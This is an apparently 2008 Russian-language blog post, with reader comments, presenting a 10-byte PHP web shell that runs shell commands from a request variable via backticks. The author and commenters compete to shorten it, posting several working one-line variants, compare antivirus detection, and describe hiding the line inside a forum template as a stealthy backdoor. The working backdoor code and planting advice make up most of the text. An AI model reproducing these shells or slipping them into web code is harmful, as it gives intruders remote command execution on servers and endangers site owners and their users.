Мега релиз: самый короткий шелл =)

Представляю новый релиз — самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:

<?=@`$c`?>

Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) — довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
Плюсы моего шелла: размер!
Минусы: нужны short_open_tag и register_globals


20 comments:

  1. Pento, 30. Июль 2008, 23:25

    Всё таки минусы достаточно существенные, хотя и идея интересная :)

     
  2. R.e.a.L., 31. Июль 2008, 20:59

    Прикольно, настоящийи webshell а антивирь только подтвреждает
    это.

     
  3. Raz0r, 31. Июль 2008, 21:27

    @R.e.a.L.
    каким антивирем ты пользовался? На вирустотале ни один антивирь ничего подозрительного не увидел

    @Pento
    главный минус — это функциональность =)

     
  4. R.e.a.L., 31. Июль 2008, 22:32

    касперь 6.0 при запуске скрипта с этим шелом однозначно определяет как потенциально опасное ПО а именно ROOTShell

     
  5. Raz0r, 31. Июль 2008, 22:53

    ого! спасибо за информацию, не ожидал, что этот кусочек кода может быть как-то распознан )

     
  6. c0nst, 5. Август 2008, 12:15

    частенько выручала такая строчка =)

     
  7. Вадим, 13. Август 2008, 16:34

    Прикольная штука. Главное работает!

     
  8. spirit, 15. Август 2008, 20:48

    предлагаю немного уменьшить и убрать @! итого получим 9 байт! )

    мы же всегда будем передавать параметр… поэтому при регистрер глобалс переменная всегда будет инициализированя…

    ПС: первый раз написал сам шелл и ПХП обрезано было (

     
  9. c0nst, 16. Август 2008, 15:14

    > мы же всегда будем передавать параметр…
    а если это форум? или еще какой движок? допустим, вставим мы в какой-нибудь template.php этот шелл. template.php инклудится из index.php, etc.php. Заходя на сайт/форум, просой постетель будет видеть ошибку php, так как никаких параметров $c он передавать не будет. Так что, лучше подстраховаться и поставить заглушку @.

     
  10. Raz0r, 16. Август 2008, 16:39

    >просой постетель будет видеть ошибку php
    верно, но в принципе подавление ошибок можно убрать, так как неинициализированная переменная вызывает ошибку уровня E_NOTICE, а на всех хостингах обычно error_reporting выставлен в 7 или даже 0.

     
  11. Makaka, 27. Август 2008, 11:22

    А какая разница скока весит шелл ?
    10 байт или ещё плюс 6 :)

     
  12. Raz0r, 31. Август 2008, 16:54

    >А какая разница скока весит шелл ?
    чисто кодерский интерес =)

     
  13. c411k, 1. Сентябрь 2008, 4:41

    Представляю новый релиз — самый короткий в мире веб-шелл на PHP (всего 9 байт), серьезно не воспринимать! =) Итак, та-дам:
    <?=@`$z`;

     
  14. c411k, 1. Сентябрь 2008, 4:43

    зы. а на самом деле плевать на @ можно, получится 8.. но гугл %)

     
  15. Elekt, 1. Сентябрь 2008, 19:07

    <?`$a`;
    слепое выполнение кода — 7байт

    <?$a($b);
    выполнение произвольного php-кода

    кто меньше?
    ы =)

     
  16. Raz0r, 1. Сентябрь 2008, 20:57

    ice! =)

     
  17. brain[pillow], 23. Январь 2009, 18:12

    Прикольно. Хотел написать пример ещё короче, но вышло, что c411k меня уже опередил… да и новость смотрю довольно старая.

    Коммент пишу только потому, что не слышал про самый последний пример электа:
    <?$a($b);

    КАК это работает?

     
  18. Raz0r, 23. Январь 2009, 19:47

    Очень просто, например такой код выполнит phpinfo():
    < ?php
    $a='phpinfo';
    $a();
    ?>

     
  19. GivioN, 5. Апрель 2010, 22:07

    То есть к переменной c приинклюдить шелл по средством гет-запроса?

     
  20. Dorton, 25. Август 2011, 0:38

    А где вы собираетесь ставить шеллы с «;» на конце, не в конец ли файла? Однако, немного примечательно. Но, если на то пошло:

    «<?$a($b);
    выполнение произвольного php-кода"
    - 9 байт и заморочки с синтаксисом, нельзя в тупую присвоить переменной "a" команду. Пример: при "a" равном "echo 'ololo'" — Parse error: syntax error, unexpected '(', expecting ',' or ';' on line 1
    Но плюс в том, что не нужен short_open_tag (который по дефолту включён).

    <?=@`$c`;
    - 9 байт без заморочек с синтаксисом (минус выше).

     

Write a comment: